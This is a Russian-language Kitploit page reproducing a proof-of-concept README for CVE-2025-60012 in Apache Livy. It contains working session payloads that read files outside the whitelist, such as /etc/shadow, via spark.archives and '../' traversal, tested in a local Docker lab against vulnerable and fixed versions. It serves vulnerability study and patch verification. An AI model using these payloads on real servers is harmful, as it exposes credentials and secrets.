Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-60012-POC — POC для уязвимости неавторизованного доступа к файлам Apache Livy | Kitploit
Инструменты/GitHubGitHub/sid6224/cve-2025-60012-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийБезопасность облачных средОбучение и ОбразованиеЛаборатории и Практика
GitHubsid6224/cve-2025-60012-poc

CVE-2025-60012-POC

POC для уязвимости неавторизованного доступа к файлам Apache Livy

Репозиторий
15 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Только для образовательных целей и исследований в области безопасности. Не используйте против систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения. → Полное предупреждение

CVE-2025-60012 — Несанкционированный доступ к файлам Apache Livy

CVE Livy Severity CWE Type License Platform Language

Обзор

ПолеДетали
CVE IDCVE-2025-60012
СерьёзностьСредний (CVSS 6.3)
Затронутые версииApache Livy 0.7.0-incubating, 0.8.0-incubating — при подключении к Apache Spark 3.1 или новее
Исправлено вApache Livy 0.9.0-incubating
CWECWE-20: Некорректная проверка входных данных
Обнародована2026-03-13
СообщилFurue Hideyuki

Описание уязвимости

Аутентифицированный пользователь с доступом к REST или JDBC интерфейсу Livy может отправить Spark-сессию или пакетное задание с подделанными значениями конфигурации. Две уязвимости в совокупности позволяют злоумышленнику ссылаться на файлы локальной файловой системы за пределами разрешённых путей:

  1. Отсутствие проверки для spark.archives — Spark 3.1 ввёл spark.archives как унифицированный способ распространения архивных файлов по всем менеджерам кластера. Жёстко заданный список ключей конфигурации Livy 0.8.0, которые проходят проверку пути (HARDCODED_SPARK_FILE_LISTS), не включает spark.archives. Поэтому путь, переданный через этот ключ, никогда не проверяется по белому списку локальной файловой системы (livy.file.local-dir-whitelist), что позволяет злоумышленнику ссылаться на любой локальный файл.

  2. Обход проверки белого списка через обход каталогов — Даже для ключей конфигурации, которые ПРОВЕРЯЮТСЯ, сравнение с белым списком в Livy 0.8.0 использует простой вызов startsWith Java String на необработанном пути. Злоумышленник может обойти это с помощью обхода каталогов: /whitelisted/dir/../../etc/passwd проходит строковую проверку, но разрешается за пределами разрешённого каталога.

Затронутые исходные файлы

Файл 1 — LivyConf.scala

Уязвимая (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

Исправленная (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala

Файл 2 — Session.scala

Уязвимая (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Исправленная (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala

Исходный код — команды клонирования

Обе версии были клонированы напрямую из официального репозитория Apache Livy на GitHub в эту рабочую область с помощью следующих точных команд:

Репозиторий: https://github.com/apache/incubator-livy```bash

Vulnerable version — cloned into ./livy-0.8.0/

git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0

Fixed version — cloned into ./livy-0.9.0/

git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0

root@kitploit:~
| Version | Tag | Resolved commit | Local path |
|---------|-----|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |

## Точные различия кода

Различия были получены клонированием обоих тегов локально (см. выше) и выполнением:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala

diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
         livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala

Исправление 1 — LivyConf.scala: spark.archives добавлено в жестко заданный список файлов```diff

private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,

  • "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" )
root@kitploit:~
**Impact of missing entry in v0.8.0:**
Когда пользователь отправляет сессию с `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 никогда не вызывает `resolveURIs()` для этого значения и не проверяет его по
`livy.file.local-dir-whitelist`. Путь передается Spark без проверки.

---

### Fix 2 — `Session.scala`: Нормализация пути перед проверкой белого списка```diff
   def resolveURI(uri: URI, livyConf: LivyConf): URI = {
     ...
     if (resolved.getScheme() == "file") {
-      require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+      require(livyConf.localFsWhitelist.find(
+        Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
         s"Local path ${uri.getPath()} cannot be added to user sessions.")
     }
   }

Влияние в v0.8.0: Проверка сырой строки startsWith может быть обойдена с помощью полезной нагрузки обхода пути.

Пример: если `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd

root@kitploit:~
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (обойдено)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
          `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (заблокировано)

## Сводка векторов атак```
Attacker (authenticated REST/JDBC user)
    │
    ▼
POST /sessions  (or /batches)
{
  "conf": {
    "spark.archives": "file:///etc/shadow"        ← Attack 1: unvalidated Spark 3.1 key
    "spark.jars": "file:///safe/../etc/shadow"    ← Attack 2: path traversal bypass
  }
}
    │
    ▼
Livy 0.8.0 — validation skipped / bypassed
    │
    ▼
Spark reads the file and distributes it to executors
    │
    ▼
Attacker retrieves file contents via job output / logs

Тестовая среда

Все шаги в этом PoC были выполнены и проверены в следующей системе:

КомпонентПодробности
Host OSUbuntu 24.04.4 LTS (Noble Numbat)
Kernel6.17.0-14-generic x86_64
Architecturex86_64
Общая память15.49 GiB
Docker Engine28.2.2
Host JDKOpenJDK 17.0.18 (используется только хостом — контейнеры используют eclipse-temurin:11-jdk-focal)
Базовый образ контейнераeclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal)
Версия Spark (оба образа)3.1.3 with Hadoop 3.2
Версия Livy — уязвимый образ0.8.0-incubating (Scala 2.12 build)
Версия Livy — исправленный образ0.9.0-incubating (Scala 2.12 build)

Структура репозитория```

. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh

root@kitploit:~
---

## Доказательство концепции

### Обзор```
docker/vulnerable/   →  image: cve-2025-60012-vulnerable   (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/        →  image: cve-2025-60012-fixed         (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh     →  single script, run unchanged against both environments

Полная сквозная последовательность — следуйте шагам с 1 по 4 по порядку:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container

root@kitploit:~
> **Примечание:** Livy становится готовым примерно через 15–20 секунд после `docker run`.
> Все шаги ниже включают явный `sleep 20` перед любым вызовом API.

---

### Шаг 1 — Сборка и запуск уязвимого окружения (Livy 0.8.0 + Spark 3.1.3)

**Файлы:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf`  — привязка к `0.0.0.0:8998`, локальный режим, белый список = `/opt/safe-data`

**1a. Сборка образа:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/

Проверка — изображение было создано:```bash docker images cve-2025-60012-vulnerable

root@kitploit:~
Ожидаемый результат:```
REPOSITORY                    TAG       IMAGE ID       CREATED         SIZE
cve-2025-60012-vulnerable     latest    <id>           <time>          <size>

1b. Запустите контейнер:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable

root@kitploit:~
**Проверка — контейнер запущен:**```bash
docker ps --filter name=livy-vulnerable

Ожидаемый вывод:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp

root@kitploit:~
---

**1c. Дождитесь запуска Livy, затем проверьте REST API:**

> Livy требуется ~15–20 секунд на инициализацию перед обработкой запросов.```bash
sleep 20
curl -s http://localhost:8998/sessions

Ожидаемый результат:```json {"from":0,"total":0,"sessions":[]}

root@kitploit:~
**1d. Проверьте структуру каталогов внутри контейнера:**

Убедитесь, что файл из белого списка существует:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt

Ожидаемый вывод:``` This file lives inside the whitelisted directory.

root@kitploit:~
Подтвердите, что целевой конфиденциальный файл существует вне белого списка:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt

Ожидаемый вывод:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!

root@kitploit:~
---

### Шаг 2 — Запуск проверки уязвимой среды

> Уязвимый контейнер из Шага 1 все еще должен быть запущен на порту 8998.

**Что проверяет `test/validate.sh`:**

| # | Атака | Ключ полезной нагрузки | Ожидаемый результат на Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` отсутствует в `HARDCODED_SPARK_FILE_LISTS` в `LivyConf.scala` | `spark.archives` | HTTP 201 — путь принят без проверки |
| 2 | Обход пути через `String.startsWith()` в `Session.scala` | `spark.jars` с обходом `../` | HTTP 201 — обход обходит белый список |

**2а. Запустите скрипт:**```bash
bash test/validate.sh

Ожидаемый вывод:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}

[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.

RESULT: VULNERABLE — exit code 1

root@kitploit:~
**2b. Остановите и удалите уязвимый контейнер:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable

Проверьте — контейнер полностью удален:```bash docker ps -a --filter name=livy-vulnerable

root@kitploit:~
Ожидаемый вывод (пусто — строк нет):```
CONTAINER ID   IMAGE   COMMAND   CREATED   STATUS   PORTS   NAMES

Шаг 3 — Сборка и запуск исправленной среды (Livy 0.9.0 + Spark 3.1.3)

Файлы:

  • docker/fixed/Dockerfile — идентичный базовый образ и Spark 3.1.3, изменяется только версия Livy на 0.9.0
  • docker/fixed/livy.conf — идентичен docker/vulnerable/livy.conf (тот же белый список, порт, режим)

Сохранение Spark, базового образа и всех настроек идентичными Шагу 1 выделяет Livy как единственную переменную.

3a. Сборка образа:```bash docker build -t cve-2025-60012-fixed docker/fixed/

root@kitploit:~
**Проверка — образ создан:**```bash
docker images cve-2025-60012-fixed

Ожидаемый вывод:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest

root@kitploit:~
**3b. Запустите контейнер:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed

Проверка — контейнер работает:```bash docker ps --filter name=livy-fixed

root@kitploit:~
Ожидаемый вывод:```
CONTAINER ID   IMAGE                   COMMAND        STATUS         PORTS
<id>           cve-2025-60012-fixed    "livy-server"  Up X seconds   0.0.0.0:8998->8998/tcp

3c. Подождите, пока Livy запустится, затем проверьте REST API:```bash sleep 20 curl -s http://localhost:8998/sessions

root@kitploit:~
Ожидаемый вывод:```json
{"from":0,"total":0,"sessions":[]}

Шаг 4 — Запустите ту же проверку на исправленном окружении

Исправленный контейнер из Шага 3 должен быть запущен на порту 8998. Скрипт идентичен — изменений нет.

Что изменилось между Шагом 2 и Шагом 4:

  • Те же нагрузки, тот же скрипт
  • Livy 0.9.0 теперь проверяет spark.archives через HARDCODED_SPARK_FILE_LISTS
  • Livy 0.9.0 теперь нормализует пути с помощью Paths.get().normalize() перед проверкой белого списка
  • Обе атаки отклоняются с HTTP 400 до создания сессии

4a. Запустите скрипт:```bash bash test/validate.sh

root@kitploit:~
> **Примечание:** `validate.sh` работает следующим образом:
> 1. Он опрашивает `GET /sessions` до тех пор, пока Livy не ответит (до 60 секунд), подтверждая готовность сервера.
> 2. Для каждой атаки он отправляет запрос `POST /sessions` через `curl` с поддельным payload'ом `conf`, нацеленным на файл вне белого списка (`/opt/sensitive/secret.txt`).
> 3. Он считывает код ответа HTTP: **201** означает, что Livy принял путь без проверки (уязвим); **400** означает, что Livy отклонил его на этапе проверки белого списка (исправлено).
> 4. Если сессия была создана (HTTP 201), скрипт немедленно удаляет её через `DELETE /sessions/{id}`, чтобы не засорять сервер.
> 5. После обоих тестов он выводит сводку и завершается с кодом **1** (уязвим) или **0** (исправлен), что делает его пригодным для использования в автоматизированных конвейерах.

**Ожидаемый вывод:**```
TEST      : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT      : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD   : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

TEST      : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT      : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD   : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}

HTTP CODE : 400
RESPONSE  : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}

[FIXED] Livy REJECTED the request (HTTP 400).
        Path validation blocked the payload.

RESULT: FIXED — exit code 0

Что подтверждают сообщения об ошибках:

АтакаHTTPСообщение об ошибкеИсправленная первопричина
1 — spark.archives400Local path /opt/sensitive/secret.txt cannot be added to user sessions.spark.archives добавлен в HARDCODED_SPARK_FILE_LISTS в LivyConf.scala; путь теперь проходит проверку белого списка в resolveURI()
2 — path traversal400Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions.Добавлен Paths.get(...).normalize() в Session.scala; разрешает ../ перед сравнением с белым списком

4b. Остановите и удалите исправленный контейнер:```bash docker stop livy-fixed && docker rm livy-fixed

root@kitploit:~
**Проверка — контейнер полностью удален:**```bash
docker ps -a --filter name=livy-fixed

Ожидаемый результат (пусто — нет строк):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

root@kitploit:~
## Вывод

CVE-2025-60012 показывает, что уязвимость не всегда требует обхода механизма защиты — иногда достаточно найти путь, который изначально не был проведён через этот механизм.

Белый список (`livy.file.local-dir-whitelist`) существовал как в Livy 0.8.0, так и в 0.9.0 и был корректно настроен в обеих средах. Ошибки находились выше по цепочке:

1. **Отсутствие регистрации (Атака 1):** `spark.archives` был введён в Spark 3.1 как агностическая по отношению к менеджеру кластера замена для `spark.yarn.dist.archives`. Внутренний список ключей конфигурации Livy, пути которых передаются в проверку белого списка (`HARDCODED_SPARK_FILE_LISTS` в `LivyConf.scala`), никогда не был обновлён для его включения. Любой путь, переданный через `spark.archives`, поэтому передавался в Spark полностью без проверки. Белый список никогда не использовался.

2. **Логическая ошибка в самой проверке (Атака 2):** Для зарегистрированных ключей сравнение с белым списком в `Session.scala` использовало Java-метод `String.startsWith()` для необработанной строки пути. Это недостаточно для сравнения путей файловой системы, так как не учитывает обход с помощью `..`. Путь, например, `/opt/safe-data/../sensitive/secret.txt` удовлетворяет строковой проверке против записи белого списка `/opt/safe-data`, однако разрешается в местоположение, полностью находящееся за его пределами.

В совокупности эти две слабости означают, что аутентифицированный пользователь — без каких-либо особых привилегий, кроме доступа к REST или JDBC интерфейсу Livy — мог ссылаться на произвольные локальные файлы на хосте сервера Livy. В общем аналитическом кластере это приводит к потенциальному раскрытию учётных данных, ключей, конфигурационных файлов или любых данных, доступных для чтения процессом пользователя Livy.

Исправление в версии 0.9.0 минимально и целенаправленно: одна строка добавлена в `HARDCODED_SPARK_FILE_LISTS` (закрывает пробел регистрации) и один вызов `Paths.get().normalize()` добавлен перед сравнением с белым списком (закрывает обход через `..`). Ни одно из изменений не затронуло сам белый список, что подтверждает: белый список никогда не был проблемой — проблема заключалась в том, что код, передающий в него данные, был неполным и неточным.

**Ключевой вывод для защитников:** При развёртывании Livy с Spark 3.1 или новее обновление до Livy 0.9.0-incubating является единственным полным исправлением. Ужесточение `livy.file.local-dir-whitelist` само по себе недостаточно против Атаки 1, потому что пути, отправленные через `spark.archives`, полностью обходят эту проверку в уязвимых версиях.

## Ссылки

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Раскрытие OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Список рассылки Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Проект Apache Livy: https://livy.apache.org/

## Благодарности

- **Furue Hideyuki** — первоначальный репортёр CVE-2025-60012 в группу безопасности Apache.
- **Сопровождающие Apache Livy** — за своевременную триаж и целенаправленное исправление в v0.9.0-incubating.
- **Группа безопасности Apache** — за координацию процесса ответственного раскрытия.
- **Сообщество OSS-Sec** — за публичную ветку раскрытия, которая сделала возможным независимый анализ.

## Участие

Приветствуются вклады, улучшающие данный PoC или документацию! Пожалуйста, убедитесь, что любые вклады:

- Следуют практике ответственного раскрытия
- Содержат соответствующие отказы от ответственности
- Не включают вредоносный код, выходящий за рамки учебной демонстрации
- Сохраняют образовательную ценность

Чтобы внести вклад, откройте pull request или создайте issue с описанием предлагаемого изменения.

## Лицензия

Этот проект лицензирован по [лицензии MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).

## Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности. Доказательство концепции
демонстрирует механику уязвимости для облегчения понимания и защитных мер. Не используйте
против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.

## Теги

`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`
Скачать инструмент